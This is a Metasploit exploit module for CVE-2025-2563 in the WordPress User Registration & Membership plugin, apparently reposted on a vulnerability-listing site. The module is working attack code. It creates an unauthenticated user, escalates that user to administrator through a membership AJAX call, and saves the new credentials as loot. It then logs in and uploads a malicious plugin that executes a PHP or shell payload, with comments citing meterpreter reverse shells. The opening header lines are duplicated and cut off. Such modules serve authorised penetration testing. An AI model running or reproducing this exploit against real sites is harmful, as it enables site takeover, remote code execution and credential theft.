##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Auxiliary::Report
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WP User Registration and Membership Unauthenticated Privilege Escalation (CVE-2025-2563)',
'Description' => %q{
Exploits CVE-2025-2563 in the WordPress User Registration & Membership plugin.
1) Registers a free-membership user via AJAX.
2) Elevates that user to administrator via the membership AJAX action.
3) Logs in, uploads & executes a PHP payload.
},
'Author' => [
'wesley (wcraft)', # Vulnerability discovery
'Valentin Lobstein' # Metasploit module
],
'References' => [
['CVE', '2025-2563'],
['WPVDB', '2c0f62a1-9510-4f90-a297-17634e6c8b75'],
['URL', 'https://pentest-tools.com/vulnerabilities-exploits/user-registration-and-membership-411-unauthenticated-privilege-escalation_26968']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix In-Memory',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows In-Memory',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-03-24',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('WP_USER', [true, 'Username for the new administrator', Faker::Internet.username(specifier: 5..8)]),
OptString.new('WP_PASS', [true, 'Password for the new administrator', Faker::Internet.password(min_length: 12)]),
OptString.new('WP_EMAIL', [true, 'Email for the new administrator', Faker::Internet.email(name: Faker::Internet.username(specifier: 5..8))])
]
)
end
def check
return CheckCode::Unknown('Target not responding') unless wordpress_and_online?
wp_version = wordpress_version
print_status("Detected WordPress version: #{wp_version}") if wp_version
plugins = {
'user-registration' => '4.1.2',
'user-registration-pro' => '5.1.2'
}
plugins.each do |slug, fixed_version|
readme = check_plugin_version_from_readme(slug, fixed_version)
version = readme&.dig(:details, :version)
if version
detected = Rex::Version.new(version)
print_good("Detected #{slug} version #{detected}")
return CheckCode::Appears if detected < Rex::Version.new(fixed_version)
else
print_warning("Unable to determine #{slug} version")
end
end
print_status('No vulnerable plugin versions detected')
CheckCode::Safe
end
def exploit
# 0) Gather form details
form_details = get_form_details
fail_with(Failure::UnexpectedReply, 'Failed to fetch membership form') unless form_details
# 1) Register a free?membership user
print_status('Registering new user with free membership...')
reg_res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_post' => registration_payload(form_details)
)
reg_json = reg_res&.code == 200 ? reg_res&.get_json_document : nil
fail_with(Failure::UnexpectedReply, 'User registration failed') unless reg_json&.dig('success')
username = reg_json.dig('data', 'username')
print_good("User registered: #{username}")
# 2) Elevate that user to administrator
print_status('Escalating to administrator...')
esc_res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_post' => membership_payload(form_details)
)
esc_json = esc_res&.code == 200 ? esc_res&.get_json_document : nil
fail_with(Failure::UnexpectedReply, 'Privilege escalation failed') unless esc_json&.dig('success')
print_good("Administrator created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}")
create_credential(
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: datastore['WP_USER'],
private_type: :password,
private_data: datastore['WP_PASS'],
service_name: 'WordPress',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
)
vprint_good("Credential for user '#{datastore['WP_USER']}' stored successfully.")
loot_data = "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n"
loot_path = store_loot(
'wordpress.admin.created',
'text/plain',
datastore['RHOST'],
loot_data,
'wp_admin_credentials.txt',
'WordPress Created Admin Credentials'
)
vprint_good("Loot saved to: #{loot_path}")
report_host(host: datastore['RHOST'])
report_service(
host: datastore['RHOST'],
port: datastore['RPORT'],
proto: 'tcp',
name: fullname,
info: 'WordPress with vulnerable User Registration plugin allowing unauthenticated admin creation'
)
report_vuln(
host: datastore['RHOST'],
port: datastore['RPORT'],
proto: 'tcp',
name: 'User Registration Plugin Auth Bypass',
refs: references,
info: 'Unauthenticated admin creation via vulnerable AJAX membership endpoint'
)
# 3) Authenticate
print_status('Authenticating via wp-login.php...')
session_cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS'])
unless session_cookie
print_warning('wp-login.php failed?trying plugin login page')
# Fetch the plugin's custom login form
page = send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login/')
)
fail_with(Failure::UnexpectedReply, 'Failed to fetch plugin login page') unless page&.code == 200
doc = page.get_html_document
nonce = doc.at_xpath("//input[@name='user-registration-login-nonce']")['value']
# Submit the plugin login form
auth_res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login/'),
'vars_post' => {
'username' => datastore['WP_USER'],
'password' => datastore['WP_PASS'],
'user-registration-login-nonce' => nonce,
'_wp_http_referer' => '/login/',
'login' => 'Login',
'redirect' => ''
}
)
# Validate wordpress_logged_in cookie
if auth_res && (c = auth_res.get_cookies) =~ /wordpress_logged_in_[^;]+=[^;]+;/
print_good('Authenticated via plugin login page')
session_cookie = c
else
fail_with(Failure::UnexpectedReply, 'Authentication failed via both wp-login.php and plugin login')
end
end
# 4) Upload and execute our payload
upload_and_execute_payload(session_cookie)
end
def get_form_details
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'membership-registration/')
)
return nil unless res&.code == 200
doc = res.get_html_document
membership_node = doc.at_xpath("//input[@type='radio' and contains(@data-name, 'membership_field')]")
localized = doc.at_xpath("//script[contains(., 'ur_membership_frontend_localized_data')]").text
{
security: doc.at_xpath("//script[contains(., 'user_registration_form_data_save')]")
.text[/user_registration_form_data_save"\s*:\s*"([^"]+)"/, 1],
frontend_nonce: doc.at_xpath("//input[@id='ur_frontend_form_nonce']")['value'],
form_id: doc.at_xpath("//input[@name='ur-user-form-id']")['value'],
registration_language: doc.at_xpath("//input[@name='ur-registration-language']")['value'],
membership_name: membership_node['data-name'],
membership_value: membership_node['value'],
membership_nonce: localized[/["_]nonce":\s*"([^"]+)"/, 1]
}
end
def registration_payload(det)
form_data = [
{ 'field_name' => 'user_login', 'value' => datastore['WP_USER'], 'field_type' => 'text', 'label' => 'Username' },
{ 'field_name' => 'user_email', 'value' => datastore['WP_EMAIL'], 'field_type' => 'email', 'label' => 'User Email' },
{ 'field_name' => 'user_pass', 'value' => datastore['WP_PASS'], 'field_type' => 'password', 'label' => 'User Password' },
{ 'field_name' => 'user_confirm_password', 'value' => datastore['WP_PASS'], 'field_type' => 'password', 'label' => 'Confirm Password' },
{ 'field_name' => det[:membership_name], 'value' => det[:membership_value], 'field_type' => 'radio', 'label' => 'membership' }
].to_json
{
'action' => 'user_registration_user_form_submit',
'security' => det[:security],
'form_data' => form_data,
'form_id' => det[:form_id],
'registration_language' => det[:registration_language],
'ur_frontend_form_nonce' => det[:frontend_nonce],
'is_membership_active' => det[:membership_value],
'membership_type' => det[:membership_value]
}
end
def membership_payload(det)
members = {
'membership' => det[:membership_value],
'total' => '0',
'payment_method' => 'free',
'start_date' => Time.now.strftime('%Y-%m-%d'),
'username' => datastore['WP_USER'],
'role' => 'administrator'
}.to_json
response = {
'username' => datastore['WP_USER'],
'success_message_positon' => '1',
'form_login_option' => '0',
'redirect_timeout' => 2000,
'registration_type' => 'membership'
}.to_json
{
'action' => 'user_registration_membership_register_member',
'members_data' => members,
'form_response' => response,
'_wpnonce' => det[:membership_nonce]
}
end
def upload_and_execute_payload(cookie)
plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php"
zip = generate_plugin(plugin, payload_name.sub('.php', ''))
print_status('Uploading malicious plugin...')
fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless wordpress_upload_plugin(plugin, zip.pack, cookie)
uri = normalize_uri(wordpress_url_plugins, plugin, payload_name)
print_status("Executing payload at #{uri}...")
register_files_for_cleanup(payload_name, "#{plugin}.php")
register_dir_for_cleanup("../#{plugin}")
send_request_cgi('uri' => uri, 'method' => 'GET')
end
end
WordPress User Registration and Membership Privilege Escalation
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 141